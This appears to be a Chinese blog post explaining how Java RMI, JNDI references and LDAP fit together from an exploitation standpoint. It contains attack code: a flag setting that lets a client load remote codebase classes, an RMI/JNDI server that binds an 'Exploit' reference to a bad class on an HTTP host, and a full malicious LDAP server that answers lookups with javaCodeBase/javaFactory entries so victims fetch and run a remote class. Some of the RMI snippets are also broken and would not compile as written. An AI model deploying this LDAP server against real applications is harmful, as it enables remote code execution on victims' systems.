一文搞清rmi,jndi,reference,ldap

本文在编写代码的角度并不是很严谨,但是从安全利用角度对于理解他们之间的关系很有帮助。

单纯的rmi获取类首先通过本地CLASSPATH,java.class.path等加载class,若无则通过codebase加载远程地址(http、ftp。。)
通过如下命令设置codebase地址
java -Djava.rmi.server.useCodebaseOnly=false - Djava.rmi.server.codebase=http://example.com/ RMIClient

//RMIServer
//http://example.com
package com.RMIServer
public class RMIServer{
	public static void main(String args[]){
		Registry registry = LocateRegistry.createRegistry(1099);
		myclass.badClass bc = new myclass.badClass();
		registry.bind("Exploit", bc);
	}
}
//RMIClient
package com.RMIClient
public class RMIClient{
	public static void main(String args[]){
		Registry registry = LocateRegistry.getRegistry("rmi://example.com",1099);
		Exploit exp = (IHello) registry.lookup("Exploit");
		exp.function();
	}
}

jndi是rmi的扩展
jndi = rmi + reference
reference挂载的http服务器上存放需要下载的类的字节码文件

//JNDIServer
package com.JNDIServer
public class JNDIServer{
	public static void main(String args[]){
		Registry registry = LocateRegistry.createRegistry(1099);
		//挂载本地的myclass.badClassName到http://example.com:8888
		Reference reference = new Reference("Exploit", "myclass.badClassName","http://example.com:8888/");
		ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
		//对外名称叫Exploit
		registry.bind("Exploit",referenceWrapper);
	}
}
//JNDIClient
package com.JDNIClient
public class JNDIClient{
	public static void main(String args[]){
		Registry registry = LocateRegistry.getRegistry("rmi://example.com",1099);
		//外界通过rmi访问Exploit来下载myclass.badClass
		Exploit exp = (IHello) registry.lookup("Exploit");
		exp.function();
	}
}

从存储字节码文件角度讲reference挂载http服务 == ldap挂载http服务

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
    	//javaCodeBase#javaFactory
        String url = "http://127.0.0.1:8888/#myclass.badClassName";
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

参考
https://xz.aliyun.com/t/8979
https://chiahao.top/2020/04/08/%E5%85%B3%E4%BA%8ERMI%E7%9A%84Remote-Object%E5%92%8CReference/
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值